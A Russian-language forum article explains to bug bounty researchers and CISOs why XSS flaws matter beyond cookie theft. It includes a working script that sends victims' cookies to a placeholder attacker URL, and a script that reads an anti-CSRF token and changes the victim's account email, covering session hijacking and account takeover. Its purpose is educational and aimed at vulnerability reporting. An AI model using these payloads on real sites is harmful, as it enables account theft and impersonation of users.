Что нового

Article Темная сторона XSS

Vander 0

Vander

Команда форума
10.11.2019
491
1 128
Приветствую уважаемую аудиторию форума Protey!

Canva-null.jpg

Межсайтовый скриптинг (XSS) является одной из наиболее распространенных уязвимостей веб-приложений и все еще присутствует в OWASP Top 10-2017.

Целью данной статьи является не объяснение того, как обойти фильтр antiXSS в защите браузера или WAF, а выяснение того, какие возможности открывают уязвимости XSS.

CISO, такие как Bug Bounty Manager, должны обращать внимание на такого рода уязвимости, которые в разы могут быть критическими на первых этапах попыток проникновения злоумышленника в систему.

Описание

Эксплуатация уязвимости XSS - это способность злоумышленника внедрять клиентские сценарии.

При поиске ошибок XSS часто является очевидной для исследователя, но иногда эта уязвимость используется не полностью, поэтому ее влияние не очень хорошо объяснено в отчете владельцу программы Bug Bounty (который не всегда является специалистом по безопасности). Слишком часто это может привести к небольшому вознаграждению и, следовательно, к разочарованию со стороны исследователя.

Потенциальное воздействие

Недостатки XSS позволяют выполнять JavaScript в домене жертвы, поэтому использование этих уязвимостей не ограничивается кражей файлов cookie и может привести к другим проблемам безопасности.
Чтобы оптимизировать или правильно квалифицировать ошибку XSS и - как обязанность - ИТ-исследователь должен объяснить, чтобы CISO понимал все последствия, помимо кражи файлов cookie.

Передача учетной записи / сессии через кражу Cookie

Кража файлов cookie является наиболее известным объяснением и использованием уязвимостей XSS, но эта атака возможна только в том случае, если файлы cookie не защищены HttpOnly.
Флаг HttpOnly запрещает возможность доступа к файлам cookie через JavaScript и возвращает пустую строку.
По сути, если флаг HttpOnly отсутствует, кража cookie может быть выполнена в этом примере и приведет к перехвату сеанса:

Код:
<script>
document.write("<img src='http://XXXXXXXXX/steal.php?c="+escape(document.cookie)+"'/>");
</script>
Если один пользователь вошел в приложение и посетил одну страницу, содержащую эту полезную нагрузку, выполнение JavaScript создаст тег img с исходным URL-адресом злоумышленника, заполненным cookie-файлами жертвы, как показано ниже:

1592061753312.png

Обход защиты CSRF

Подделка межсайтовых запросов (CSRF) - это атака, которая вынуждает конечного пользователя выполнять нежелательные действия в веб-приложении, в котором они в настоящий момент проходят проверку подлинности.

По сути, атака CSRF возможна при отправке формы, которая не содержит механизм защиты, чтобы гарантировать, что действие является законным.
Защита от такого рода уязвимости заключается в добавлении случайно сгенерированного токена в качестве параметра или файла cookie.
Когда запрос отправлен, сервер проверяет ожидаемое значение для этого токена и сравнивает его со значением в запросе. Запрос не будет выполнен, если значение не совпадает.

XSS может использоваться для обхода всех защит CSRF, поэтому он позволяет автоматизировать любые действия, которые любой пользователь / администратор может выполнять через приложение.

Пример с настраиваемой формой электронной почты, защищенной токеном Anti-CSRF:

Код:
<form method ="post" action="new_mail.php">
New email : <input type="text" name="new_email" value=""/><br />
Confirm new email :<input type="text" name="confirm_new_email" value=""/><br />
<input type="hidden" name="_csrf_token" value="DS3gD8sqM9xdo0WqncDE40Okd5GQ21sP"/>
<input type="submit" name="submit" value="Change Email"/><br />
</form>
Как видите, в этой форме есть скрытый ввод с именем _csrf_token со случайным значением.

Использование уязвимости XSS позволит получить доступ к токену анти-CSRF и автоматизировать действия по изменению электронной почты учетной записи жертвы:

Код:
<script>

/* STEP 1 GET Request to get token Value*/

var req = new XMLHttpRequest();
req.open("GET", "change_email.html", false);
req.send(null);
if (req.readyState == 4 && req.status == 200) {
/* Get token value from response */
var resp = req.responseText;
pattern = "name="_csrf_token" value="(.*)(?=")";
var token = resp.match(pattern)[1];

/* STEP 2 POST Request to change email automatically */
var http = new XMLHttpRequest();
var url = "new_mail.php";
var params = "new_email=attacker@email.com&confirm_new_email=attacker@email.com&_csrf_token="+token+"&submit=Change+Email";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
}
</script>
Эта атака проходит через 2 этапа, во-первых, скрипт получает значение токена, запрашивая страницу формы.
После этого скрипт автоматически отправляет запрос POST с адресом электронной почты злоумышленника в качестве параметра и ожидаемым значением токена.
Например, если подтверждение этого нового адреса электронной почты не выполняется с помощью пароля, этот тип атаки может привести к захвату учетной записи!

csrf.png

Политика SOP / CORS

Политика одного источника ограничивает взаимодействие документа или сценария, загруженного из одного источника, с ресурсом из другого источника. Это критически важный механизм безопасности для изоляции потенциально вредоносных документов.

Поскольку недостаток XSS позволяет запросу поступать из одного и того же домена, эксплуатация этой уязвимости обходится политикой того же происхождения.
Другой момент заключается в том, что если на веб-сайте имеются какие-либо недостатки XSS, его можно использовать для доступа к ресурсам, защищенным политикой перекрестного общего доступа к запросам, к этому разрешенному домену, поэтому не забудьте проверить, доступны ли некоторые критические ресурсы из этого домена.

Вывод

Последствия уязвимостей XSS часто недооцениваются, поэтому изучите все возможности, предлагаемые этим типом уязвимости в программе Bug Bounty. Это покажет менеджеру программы Bug Bounty и CISO, как правильно воспринимать влияние ваших выводов и как лучше квалифицировать ваш отчет.

И последнее, но не менее важное, для исследователей в области ИТ-безопасности, пожалуйста, не забывайте всегда добавлять Proof of Concept в ваш отчет.
 
Верх Низ